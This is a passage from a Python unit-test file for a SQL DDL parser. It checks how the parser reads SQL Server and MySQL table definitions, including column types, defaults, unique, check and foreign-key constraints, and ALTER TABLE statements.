None,\n \"default\": None,\n \"name\": \"user_origin_of_birth\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 255,\n \"type\": \"char\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_account\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 8000,\n \"type\": \"VARCHAR\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_first_name\",\n \"nullable\": False,\n \"references\": None,\n \"size\": \"max\",\n \"type\": \"VARCHAR\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_last_name\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 8000,\n \"type\": \"VARBINARY\",\n \"unique\": True,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_street\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 400,\n \"type\": \"NCHAR\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_city\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 4000,\n \"type\": \"NVARCHAR\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"about_user\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"NTEXT\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_description\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"TEXT\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"starting_funds\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 53,\n \"type\": \"FLOAT\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"extra_funds\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"REAL\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"current_funds\",\n \"nullable\": True,\n \"references\": None,\n \"size\": (38, 20),\n \"type\": \"DECIMAL\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"ending_funds\",\n \"nullable\": False,\n \"references\": None,\n \"size\": None,\n \"type\": \"SMALLMONEY\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"birth_date\",\n \"nullable\": False,\n \"references\": None,\n \"size\": None,\n \"type\": \"DATE\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"time_of_birth\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 7,\n \"type\": \"TIME\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"enrollment_date\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"SMALLDATETIME\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"delete_date\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"DATETIME\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"create_date\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 7,\n \"type\": \"DATETIME2\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_time_zone\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 7,\n \"type\": \"DATETIMEOFFSET\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": \"GETDATE()\",\n \"name\": \"oder_date\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"date\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": \"'Sandnes'\",\n \"name\": \"country\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 255,\n \"type\": \"varchar\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"active\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"bit\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"home_size\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"GEOMETRY\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_photo\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"IMAGE\",\n \"unique\": False,\n },\n ],\n \"constraints\": {\n \"checks\": [\n {\n \"constraint_name\": \"CHK_Person_Age_under\",\n \"statement\": \"days_active<=18 AND \" \"user_city= 'New York'\",\n }\n ],\n \"references\": [\n {\n \"columns\": [\"PersonID\"],\n \"constraint_name\": \"FK_Person_Age_under\",\n \"deferrable_initially\": None,\n \"on_delete\": None,\n \"on_update\": None,\n \"schema\": None,\n \"table\": \"Persons\",\n }\n ],\n \"uniques\": [\n {\n \"columns\": [\"delete_date\", \"create_date\"],\n \"constraint_name\": \"UC_date\",\n },\n {\n \"columns\": [\"company_id\", \"user_last_name\"],\n \"constraint_name\": \"UC_sqlserverlist_last_name\",\n },\n ],\n },\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [\"id\"],\n \"schema\": None,\n \"table_name\": \"sqlserverlist\",\n \"tablespace\": None,\n }\n ],\n \"types\": [],\n }\n assert expected == result\n\n\ndef test_foreign_keys():\n ddl = \"\"\"\n\n CREATE TABLE sqlserverlist (\n\n id INT IDENTITY (1,1) PRIMARY KEY, -- NOTE\n company_id BIGINT ,\n primary_id INT FOREIGN KEY REFERENCES Persons(PersonID), -- ADD THIS COLUMN FOR THE FOREIGN KEY\n age TINYINT NULL UNIQUE,\n days_active SMALLINT NOT NULL,\n user_origin_of_birth char(255),\n user_account VARCHAR(8000) NOT NULL,\n user_first_name VARCHAR(max) NOT NULL,\n user_last_name \tVARBINARY(8000) NOT NULL,\n user_street NCHAR(400) NULL,\n user_city NVARCHAR(4000),\n about_user NTEXT NULL,\n user_description TEXT,\n starting_funds FLOAT(53) NULL,\n extra_funds REAL,\n current_funds DECIMAL (38,20),\n ending_funds SMALLMONEY NOT NULL,\n birth_date DATE NOT NULL,\n time_of_birth TIME(7),\n oder_date date DEFAULT GETDATE(), -- added to demonstrate sql sever Defaults\n country varchar(255) DEFAULT 'Sandnes', -- added to demonstrate sql sever Defaults\n active bit NULL,\n home_size GEOMETRY, -- Sql Server Defaults to Null\n user_photo IMAGE, -- Sql Server Defaults to Null\n --UNIQUE (id),\n CONSTRAINT UC_sqlserverlist_last_name UNIQUE (company_id,user_last_name),\n CONSTRAINT CHK_Person_Age_under CHECK (days_active<=18 AND user_city='New York'),\n FOREIGN KEY (id) REFERENCES Persons(PersonID),\n FOREIGN KEY (user_first_name, id) REFERENCES Persons(PersonID, PersonName),\n );\n \"\"\"\n\n result = DDLParser(ddl).run(group_by_type=True)\n expected = {\n \"comments\": [\" NOTE\"],\n \"sequences\": [],\n \"domains\": [],\n \"schemas\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [\n {\n \"constraint_name\": \"CHK_Person_Age_under\",\n \"statement\": \"days_active<=18 AND user_city= 'New York'\",\n }\n ],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"id\",\n \"nullable\": False,\n \"references\": {\n \"column\": \"PersonName\",\n \"deferrable_initially\": None,\n \"on_delete\": None,\n \"on_update\": None,\n \"schema\": None,\n \"table\": \"Persons\",\n },\n \"size\": (1, 1),\n \"type\": \"INT IDENTITY\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"company_id\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"BIGINT\",\n \"unique\": True,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"primary_id\",\n \"nullable\": True,\n \"references\": {\n \"column\": \"PersonID\",\n \"deferrable_initially\": None,\n \"on_delete\": None,\n \"on_update\": None,\n \"schema\": None,\n \"table\": \"Persons\",\n },\n \"size\": None,\n \"type\": \"INT\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"age\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"TINYINT\",\n \"unique\": True,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"days_active\",\n \"nullable\": False,\n \"references\": None,\n \"size\": None,\n \"type\": \"SMALLINT\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_origin_of_birth\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 255,\n \"type\": \"char\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_account\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 8000,\n \"type\": \"VARCHAR\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_first_name\",\n \"nullable\": False,\n \"references\": {\n \"column\": \"PersonID\",\n \"deferrable_initially\": None,\n \"on_delete\": None,\n \"on_update\": None,\n \"schema\": None,\n \"table\": \"Persons\",\n },\n \"size\": \"max\",\n \"type\": \"VARCHAR\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_last_name\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 8000,\n \"type\": \"VARBINARY\",\n \"unique\": True,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_street\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 400,\n \"type\": \"NCHAR\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_city\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 4000,\n \"type\": \"NVARCHAR\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"about_user\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"NTEXT\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_description\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"TEXT\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"starting_funds\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 53,\n \"type\": \"FLOAT\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"extra_funds\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"REAL\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"current_funds\",\n \"nullable\": True,\n \"references\": None,\n \"size\": (38, 20),\n \"type\": \"DECIMAL\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"ending_funds\",\n \"nullable\": False,\n \"references\": None,\n \"size\": None,\n \"type\": \"SMALLMONEY\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"birth_date\",\n \"nullable\": False,\n \"references\": None,\n \"size\": None,\n \"type\": \"DATE\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"time_of_birth\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 7,\n \"type\": \"TIME\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": \"GETDATE()\",\n \"name\": \"oder_date\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"date\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": \"'Sandnes'\",\n \"name\": \"country\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 255,\n \"type\": \"varchar\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"active\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"bit\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"home_size\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"GEOMETRY\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_photo\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"IMAGE\",\n \"unique\": False,\n },\n ],\n \"constraints\": {\n \"checks\": [\n {\n \"constraint_name\": \"CHK_Person_Age_under\",\n \"statement\": \"days_active<=18 AND \" \"user_city= 'New York'\",\n }\n ],\n \"uniques\": [\n {\n \"columns\": [\"company_id\", \"user_last_name\"],\n \"constraint_name\": \"UC_sqlserverlist_last_name\",\n }\n ],\n },\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [\"id\"],\n \"schema\": None,\n \"table_name\": \"sqlserverlist\",\n \"tablespace\": None,\n }\n ],\n \"types\": [],\n \"ddl_properties\": [],\n }\n assert expected == result\n\n\ndef test_alter_unique():\n ddl = \"\"\"\n CREATE TABLE sqlserverlist (\n\n id INT IDENTITY (1,1) PRIMARY KEY, -- NOTE\n company_id BIGINT ,\n primary_id INT FOREIGN KEY REFERENCES Persons(PersonID), -- ADD THIS COLUMN FOR THE FOREIGN KEY\n age TINYINT NULL UNIQUE,\n days_active SMALLINT NOT NULL,\n user_origin_of_birth char(255),\n user_account VARCHAR(8000) NOT NULL,\n user_first_name VARCHAR(max) NOT NULL,\n user_last_name \tVARBINARY(8000) NOT NULL,\n user_street NCHAR(400) NULL,\n user_city NVARCHAR(4000),\n about_user NTEXT NULL,\n user_description TEXT,\n starting_funds FLOAT(53) NULL,\n extra_funds REAL,\n current_funds DECIMAL (38,20),\n ending_funds SMALLMONEY NOT NULL,\n birth_date DATE NOT NULL,\n time_of_birth TIME(7),\n enrollment_date SMALLDATETIME,\n delete_date DATETIME NULL,\n create_date DATETIME2(7) NOT NULL,\n user_time_zone DATETIMEOFFSET(7),\n oder_date date DEFAULT GETDATE(), -- added to demonstrate sql sever Defaults\n country varchar(255) DEFAULT 'Sandnes', -- added to demonstrate sql sever Defaults\n active bit NULL,\n home_size GEOMETRY, -- Sql Server Defaults to Null\n user_photo IMAGE, -- Sql Server Defaults to Null\n --UNIQUE (id),\n CONSTRAINT UC_sqlserverlist_last_name UNIQUE (company_id,user_last_name),\n CONSTRAINT CHK_Person_Age_under CHECK (days_active<=18 AND user_city='New York'),\n FOREIGN KEY (id) REFERENCES Persons(PersonID),\n CONSTRAINT FK_Person_Age_under FOREIGN KEY (id)REFERENCES Persons(PersonID)\n );\n -- UNIQUE CONSTRAINTS\n ALTER TABLE sqlserverlist ADD UNIQUE (birth_date);\n ALTER TABLE sqlserverlist ADD CONSTRAINT UC_Person_ening_funds UNIQUE (current_funds,create_date);\n \"\"\"\n\n result = DDLParser(ddl).run(group_by_type=True)\n expected = {\n \"comments\": [\" NOTE\"],\n \"sequences\": [],\n \"ddl_properties\": [],\n \"domains\": [],\n \"schemas\": [],\n \"tables\": [\n {\n \"alter\": {\n \"uniques\": [\n {\"columns\": [\"birth_date\"], \"constraint_name\": None},\n {\n \"columns\": [\"current_funds\", \"create_date\"],\n \"constraint_name\": \"UC_Person_ening_funds\",\n },\n ]\n },\n \"checks\": [\n {\n \"constraint_name\": \"CHK_Person_Age_under\",\n \"statement\": \"days_active<=18 AND user_city= 'New York'\",\n }\n ],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"id\",\n \"nullable\": False,\n \"references\": {\n \"column\": \"PersonID\",\n \"deferrable_initially\": None,\n \"on_delete\": None,\n \"on_update\": None,\n \"schema\": None,\n \"table\": \"Persons\",\n },\n \"size\": (1, 1),\n \"type\": \"INT IDENTITY\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"company_id\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"BIGINT\",\n \"unique\": True,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"primary_id\",\n \"nullable\": True,\n \"references\": {\n \"column\": \"PersonID\",\n \"deferrable_initially\": None,\n \"on_delete\": None,\n \"on_update\": None,\n \"schema\": None,\n \"table\": \"Persons\",\n },\n \"size\": None,\n \"type\": \"INT\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"age\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"TINYINT\",\n \"unique\": True,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"days_active\",\n \"nullable\": False,\n \"references\": None,\n \"size\": None,\n \"type\": \"SMALLINT\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_origin_of_birth\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 255,\n \"type\": \"char\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_account\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 8000,\n \"type\": \"VARCHAR\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_first_name\",\n \"nullable\": False,\n \"references\": None,\n \"size\": \"max\",\n \"type\": \"VARCHAR\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_last_name\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 8000,\n \"type\": \"VARBINARY\",\n \"unique\": True,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_street\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 400,\n \"type\": \"NCHAR\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_city\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 4000,\n \"type\": \"NVARCHAR\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"about_user\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"NTEXT\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_description\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"TEXT\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"starting_funds\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 53,\n \"type\": \"FLOAT\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"extra_funds\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"REAL\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"current_funds\",\n \"nullable\": True,\n \"references\": None,\n \"size\": (38, 20),\n \"type\": \"DECIMAL\",\n \"unique\": True,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"ending_funds\",\n \"nullable\": False,\n \"references\": None,\n \"size\": None,\n \"type\": \"SMALLMONEY\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"birth_date\",\n \"nullable\": False,\n \"references\": None,\n \"size\": None,\n \"type\": \"DATE\",\n \"unique\": True,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"time_of_birth\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 7,\n \"type\": \"TIME\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"enrollment_date\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"SMALLDATETIME\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"delete_date\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"DATETIME\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"create_date\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 7,\n \"type\": \"DATETIME2\",\n \"unique\": True,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_time_zone\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 7,\n \"type\": \"DATETIMEOFFSET\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": \"GETDATE()\",\n \"name\": \"oder_date\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"date\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": \"'Sandnes'\",\n \"name\": \"country\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 255,\n \"type\": \"varchar\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"active\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"bit\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"home_size\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"GEOMETRY\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_photo\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"IMAGE\",\n \"unique\": False,\n },\n ],\n \"constraints\": {\n \"checks\": [\n {\n \"constraint_name\": \"CHK_Person_Age_under\",\n \"statement\": \"days_active<=18 AND \" \"user_city= 'New York'\",\n }\n ],\n \"references\": [\n {\n \"columns\": [\"PersonID\"],\n \"constraint_name\": \"FK_Person_Age_under\",\n \"deferrable_initially\": None,\n \"on_delete\": None,\n \"on_update\": None,\n \"schema\": None,\n \"table\": \"Persons\",\n }\n ],\n \"uniques\": [\n {\n \"columns\": [\"company_id\", \"user_last_name\"],\n \"constraint_name\": \"UC_sqlserverlist_last_name\",\n }\n ],\n },\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [\"id\"],\n \"schema\": None,\n \"table_name\": \"sqlserverlist\",\n \"tablespace\": None,\n }\n ],\n \"types\": [],\n }\n assert expected == result\n\n\ndef test_defaults_in_alter():\n ddl = \"\"\"\n\n CREATE TABLE sqlserverlist (\n\n id INT IDENTITY (1,1) PRIMARY KEY, -- NOTE\n company_id BIGINT ,\n primary_id INT FOREIGN KEY REFERENCES Persons(PersonID), -- ADD THIS COLUMN FOR THE FOREIGN KEY\n age TINYINT NULL UNIQUE,\n days_active SMALLINT NOT NULL,\n user_origin_of_birth char(255),\n user_account VARCHAR(8000) NOT NULL,\n user_time_zone DATETIMEOFFSET(7),\n oder_date date DEFAULT GETDATE(), -- added to demonstrate sql sever Defaults\n country varchar(255) DEFAULT 'Sandnes', -- added to demonstrate sql sever Defaults\n active bit NULL,\n home_size GEOMETRY, -- Sql Server Defaults to Null\n user_photo IMAGE, -- Sql Server Defaults to Null\n --UNIQUE (id),\n CONSTRAINT UC_sqlserverlist_last_name UNIQUE (company_id,user_last_name),\n CONSTRAINT CHK_Person_Age_under CHECK (days_active<=18 AND user_city='New York'),\n FOREIGN KEY (id) REFERENCES Persons(PersonID),\n CONSTRAINT FK_Person_Age_under FOREIGN KEY (id)REFERENCES Persons(PersonID)\n );\n\n ALTER TABLE sqlserverlist ADD CONSTRAINT df_user_street DEFAULT '1 WAY STREET' FOR user_street;\n \"\"\"\n\n result = DDLParser(ddl).run(group_by_type=True, output_mode=\"mssql\")\n expected = {\n \"comments\": [\" NOTE\"],\n \"sequences\": [],\n \"ddl_properties\": [],\n \"domains\": [],\n \"schemas\": [],\n \"tables\": [\n {\n \"alter\": {\n \"defaults\": [\n {\n \"columns\": [\"user_street\"],\n \"constraint_name\": \"df_user_street\",\n \"value\": \"'1 WAY STREET'\",\n }\n ]\n },\n \"checks\": [\n {\n \"constraint_name\": \"CHK_Person_Age_under\",\n \"statement\": \"days_active<=18 AND user_city= 'New York'\",\n }\n ],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"id\",\n \"nullable\": False,\n \"references\": {\n \"column\": \"PersonID\",\n \"deferrable_initially\": None,\n \"on_delete\": None,\n \"on_update\": None,\n \"schema\": None,\n \"table\": \"Persons\",\n },\n \"size\": (1, 1),\n \"type\": \"INT IDENTITY\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"company_id\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"BIGINT\",\n \"unique\": True,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"primary_id\",\n \"nullable\": True,\n \"references\": {\n \"column\": \"PersonID\",\n \"deferrable_initially\": None,\n \"on_delete\": None,\n \"on_update\": None,\n \"schema\": None,\n \"table\": \"Persons\",\n },\n \"size\": None,\n \"type\": \"INT\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"age\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"TINYINT\",\n \"unique\": True,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"days_active\",\n \"nullable\": False,\n \"references\": None,\n \"size\": None,\n \"type\": \"SMALLINT\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_origin_of_birth\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 255,\n \"type\": \"char\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_account\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 8000,\n \"type\": \"VARCHAR\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_time_zone\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 7,\n \"type\": \"DATETIMEOFFSET\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": \"GETDATE()\",\n \"name\": \"oder_date\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"date\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": \"'Sandnes'\",\n \"name\": \"country\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 255,\n \"type\": \"varchar\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"active\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"bit\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"home_size\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"GEOMETRY\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_photo\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"IMAGE\",\n \"unique\": False,\n },\n ],\n \"constraints\": {\n \"checks\": [\n {\n \"constraint_name\": \"CHK_Person_Age_under\",\n \"statement\": \"days_active<=18 AND \" \"user_city= 'New York'\",\n }\n ],\n \"references\": [\n {\n \"columns\": [\"PersonID\"],\n \"constraint_name\": \"FK_Person_Age_under\",\n \"deferrable_initially\": None,\n \"on_delete\": None,\n \"on_update\": None,\n \"schema\": None,\n \"table\": \"Persons\",\n }\n ],\n \"uniques\": [\n {\n \"columns\": [\"company_id\", \"user_last_name\"],\n \"constraint_name\": \"UC_sqlserverlist_last_name\",\n }\n ],\n },\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [\"id\"],\n \"schema\": None,\n \"table_name\": \"sqlserverlist\",\n \"tablespace\": None,\n }\n ],\n \"types\": [],\n }\n assert expected == result\n\n\ndef test_mysql_constraint_pk():\n ddl = \"\"\"\n\n CREATE TABLE Persons (\n ID int NOT NULL,\n LastName varchar(255) NOT NULL,\n FirstName varchar(255),\n Age int,\n CONSTRAINT PK_Person PRIMARY KEY (ID,LastName)\n );\n \"\"\"\n\n result = DDLParser(ddl).run(group_by_type=True)\n expected = {\n \"sequences\": [],\n \"ddl_properties\": [],\n \"domains\": [],\n \"schemas\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"ID\",\n \"nullable\": False,\n \"references\": None,\n \"size\": None,\n \"type\": \"int\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"LastName\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 255,\n \"type\": \"varchar\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"FirstName\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 255,\n \"type\": \"varchar\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"Age\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"int\",\n \"unique\": False,\n },\n ],\n \"constraints\": {\n \"primary_keys\": [\n {\"columns\": [\"ID\", \"LastName\"], \"constraint_name\": \"PK_Person\"}\n ]\n },\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [\"ID\", \"LastName\"],\n \"schema\": None,\n \"table_name\": \"Persons\",\n \"tablespace\": None,\n }\n ],\n \"types\": [],\n }\n assert expected == result\n\n\ndef test_constraint_primary_key():\n expected = {\n \"ddl_properties\": [],\n \"domains\": [],\n \"schemas\": [],\n \"sequences\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [],\n \"clustered_primary_key\": [{\"column\": \"[id]\", \"order\": \"ASC\"}],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[id]\",\n \"nullable\": False,\n \"references\": None,\n \"size\": (1, 1),\n \"type\": \"[int] IDENTITY\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[user_id]\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"[int]\",\n \"unique\": False,\n },\n ],\n \"constraints\": {\n \"primary_keys\": [\n {\n \"columns\": [\"[id]\"],\n \"constraint_name\": \"[PK_users_WorkSchedule_id]\",\n },\n {\n \"columns\": [\"[id]\"],\n \"constraint_name\": \"[PK_users_WorkSchedule_id]\",\n },\n ]\n },\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [\"[id]\"],\n \"schema\": \"[dbo]\",\n \"table_name\": \"[users_WorkSchedule]\",\n \"tablespace\": None,\n }\n ],\n \"types\": [],\n 